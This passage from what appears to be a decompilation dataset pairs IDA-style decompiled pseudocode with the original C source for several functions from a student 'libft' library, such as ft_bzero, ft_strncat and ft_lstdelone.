"variable_types": [ [ "src", "char *" ], [ "c", "int" ], [ "i", "int" ], [ "l", "int" ] ], "return_type": "char *", "user_defined_types": [], "binary_hash": "19e45855ec407a0b3b9f54bf16c6dce383107a15d0148e86029c96f36372b2e3" } ]
1ae4275bc69283eadaac4159314dad35b0a7f0c77e5b2db2bdea6a19ba7d4ced
iTzDyms/libft
[ [ "ft_bzero", "->" ] ]
[]
[ { "name": "ft_bzero", "canonical_name": "func0", "repo": "iTzDyms/libft", "decompiled_code": "__int64 __fastcall ft_bzero(_BYTE *a1, __int64 a2)\n{\n_BYTE *v2; // rax\n__int64 result; // rax\n\nwhile ( 1 )\n{\nresult = a2--;\nif ( !result )\nbreak;\nv2 = a1++;\n*v2 = 0;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(_BYTE *a1, __int64 a2)\n{\n_BYTE *v2; // rax\n__int64 result; // rax\n\nwhile ( 1 )\n{\nresult = a2--;\nif ( !result )\nbreak;\nv2 = a1++;\n*v2 = 0;\n}\nreturn result;\n}", "original_code": "void ft_bzero(void *s, size_t n)\n{\n unsigned char *str;\n str = s;\n while (n--)\n {\n *str++ = 0;\n }\n}", "canonical_original_code": "void ft_bzero(void *s, unsigned long n)\n{\n unsigned char *str;\n str = s;\n while (n--)\n {\n *str++ = 0;\n }\n}", "variable_types": [ [ "s", "void *" ], [ "n", "unsigned long" ], [ "str", "unsigned char *" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "1ae4275bc69283eadaac4159314dad35b0a7f0c77e5b2db2bdea6a19ba7d4ced" } ]
1cd692a6fd8b6302cdcbdd3675f94161062b55243b7829bab324481f2f607194
iTzDyms/libft
[ [ "ft_memdel", "->" ] ]
[]
[ { "name": "ft_memdel", "canonical_name": "func0", "repo": "iTzDyms/libft", "decompiled_code": "void **__fastcall ft_memdel(void **a1)\n{\nvoid **result; // rax\n\nfree(*a1);\nresult = a1;\n*a1 = 0LL;\nreturn result;\n}\n", "canonical_decompiled_code": "void **__fastcall func0(void **a1)\n{\nvoid **result; // rax\n\nfree(*a1);\nresult = a1;\n*a1 = 0LL;\nreturn result;\n}", "original_code": "void ft_memdel(void **ap)\n{\n free(*ap);\n *ap = ((void *)0);\n}", "canonical_original_code": "void ft_memdel(void **ap)\n{\n free(*ap);\n *ap = ((void *)0);\n}", "variable_types": [ [ "ap", "void **" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "1cd692a6fd8b6302cdcbdd3675f94161062b55243b7829bab324481f2f607194" } ]
1d823c1a7117a04a54ed263e059ab5438d1ff0eed31b7e3ec2ebae732d88144c
iTzDyms/libft
[ [ "ft_strncat", "->" ] ]
[]
[ { "name": "ft_strncat", "canonical_name": "func0", "repo": "iTzDyms/libft", "decompiled_code": "__int64 __fastcall ft_strncat(__int64 a1, __int64 a2, unsigned __int64 a3)\n{\nunsigned __int64 v5; // [rsp+20h] [rbp-10h]\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv5 = 0LL;\nv6 = ft_strlen(a1);\nwhile ( *(_BYTE *)(a2 + v5) && v5 < a3 )\n*(_BYTE *)(a1 + v6++) = *(_BYTE *)(a2 + v5++);\n*(_BYTE *)(a1 + v6) = 0;\nreturn a1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1, __int64 a2, unsigned __int64 a3)\n{\nunsigned __int64 v5; // [rsp+20h] [rbp-10h]\n__int64 v6; // [rsp+28h] [rbp-8h]\n\nv5 = 0LL;\nv6 = ft_strlen(a1);\nwhile ( *(_BYTE *)(a2 + v5) && v5 < a3 )\n*(_BYTE *)(a1 + v6++) = *(_BYTE *)(a2 + v5++);\n*(_BYTE *)(a1 + v6) = 0;\nreturn a1;\n}", "original_code": "char *ft_strncat(char *s1, const char *s2, size_t n)\n{\n size_t i;\n size_t j;\n j = 0;\n i = ft_strlen(s1);\n while (s2[j] != '\\0' && j < n)\n {\n s1[i] = s2[j];\n i++;\n j++;\n }\n s1[i] = '\\0';\n return (s1);\n}", "canonical_original_code": "char *ft_strncat(char *s1, char *s2, unsigned long n)\n{\n unsigned long i;\n unsigned long j;\n j = 0;\n i = ft_strlen(s1);\n while (s2[j] != '\\0' && j < n)\n {\n s1[i] = s2[j];\n i++;\n j++;\n }\n s1[i] = '\\0';\n return (s1);\n}", "variable_types": [ [ "s1", "char *" ], [ "s2", "char *" ], [ "n", "unsigned long" ], [ "i", "unsigned long" ], [ "j", "unsigned long" ] ], "return_type": "char *", "user_defined_types": [], "binary_hash": "1d823c1a7117a04a54ed263e059ab5438d1ff0eed31b7e3ec2ebae732d88144c" } ]
219daba6af2f89dfa7cad9df2c3dc2e27f13f74ffb36d7964a25f864fd3ed07b
iTzDyms/libft
[ [ "ft_strclr", "->" ] ]
[]
[ { "name": "ft_strclr", "canonical_name": "func0", "repo": "iTzDyms/libft", "decompiled_code": "void __fastcall ft_strclr(__int64 a1)\n{\nunsigned __int64 v1; // [rsp+10h] [rbp-10h]\nunsigned __int64 v2; // [rsp+18h] [rbp-8h]\n\nif ( a1 )\n{\nv2 = 0LL;\nv1 = ft_strlen(a1);\nwhile ( v2 < v1 )\n*(_BYTE *)(a1 + v2++) = 0;\n}\n}\n", "canonical_decompiled_code": "void __fastcall func0(__int64 a1)\n{\nunsigned __int64 v1; // [rsp+10h] [rbp-10h]\nunsigned __int64 v2; // [rsp+18h] [rbp-8h]\n\nif ( a1 )\n{\nv2 = 0LL;\nv1 = ft_strlen(a1);\nwhile ( v2 < v1 )\n*(_BYTE *)(a1 + v2++) = 0;\n}\n}", "original_code": "void ft_strclr(char *s)\n{\n size_t len;\n size_t i;\n if (s == ((void *)0))\n return ;\n i = 0;\n len = ft_strlen(s);\n while (i < len)\n {\n s[i] = '\\0';\n i++;\n }\n}", "canonical_original_code": "void ft_strclr(char *s)\n{\n unsigned long len;\n unsigned long i;\n if (s == ((void *)0))\n return ;\n i = 0;\n len = ft_strlen(s);\n while (i < len)\n {\n s[i] = '\\0';\n i++;\n }\n}", "variable_types": [ [ "s", "char *" ], [ "len", "unsigned long" ], [ "i", "unsigned long" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "219daba6af2f89dfa7cad9df2c3dc2e27f13f74ffb36d7964a25f864fd3ed07b" } ]
2a2b03d819bc8dec7899592a5aa7f1788371de7b60f75dab94ddbc8abcac66f7
iTzDyms/libft
[ [ "ft_lstdelone", "->" ] ]
[]
[ { "name": "ft_lstdelone", "canonical_name": "func0", "repo": "iTzDyms/libft", "decompiled_code": "void **__fastcall ft_lstdelone(void **a1, void (__fastcall *a2)(_QWORD, _QWORD))\n{\nvoid **result; // rax\n\nif ( a2 )\n{\nif ( a1 )\n{\na2(*(_QWORD *)*a1, *((_QWORD *)*a1 + 1));\nfree(*a1);\nresult = a1;\n*a1 = 0LL;\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "void **__fastcall func0(void **a1, void (__fastcall *a2)(_QWORD, _QWORD))\n{\nvoid **result; // rax\n\nif ( a2 )\n{\nif ( a1 )\n{\na2(*(_QWORD *)*a1, *((_QWORD *)*a1 + 1));\nfree(*a1);\nresult = a1;\n*a1 = 0LL;\n}\n}\nreturn result;\n}", "original_code": "void ft_lstdelone(t_list **alst, void (*del)(void *, size_t))\n{\n if (del == ((void *)0) || alst == ((void *)0))\n return ;\n del((*alst)->content, (*alst)->content_size);\n free(*alst);\n *alst = ((void *)0);\n}", "canonical_original_code": "void ft_lstdelone(struct s_list **alst, void (*del)(void *, unsigned long))\n{\n if (del == ((void *)0) || alst == ((void *)0))\n return ;\n del((*alst)->content, (*alst)->content_size);\n free(*alst);\n *alst = ((void *)0);\n}", "variable_types": [ [ "alst", "struct s_list { void *content; unsigned long content_size; struct s_list *next; } **" ], [ "del", "void (*)(void *, unsigned long)" ] ], "return_type": "void", "user_defined_types": [ "struct s_list { void *content; unsigned long content_size; struct s_list *next; }" ], "binary_hash": "2a2b03d819bc8dec7899592a5aa7f1788371de7b60f75dab94ddbc8abcac66f7" } ]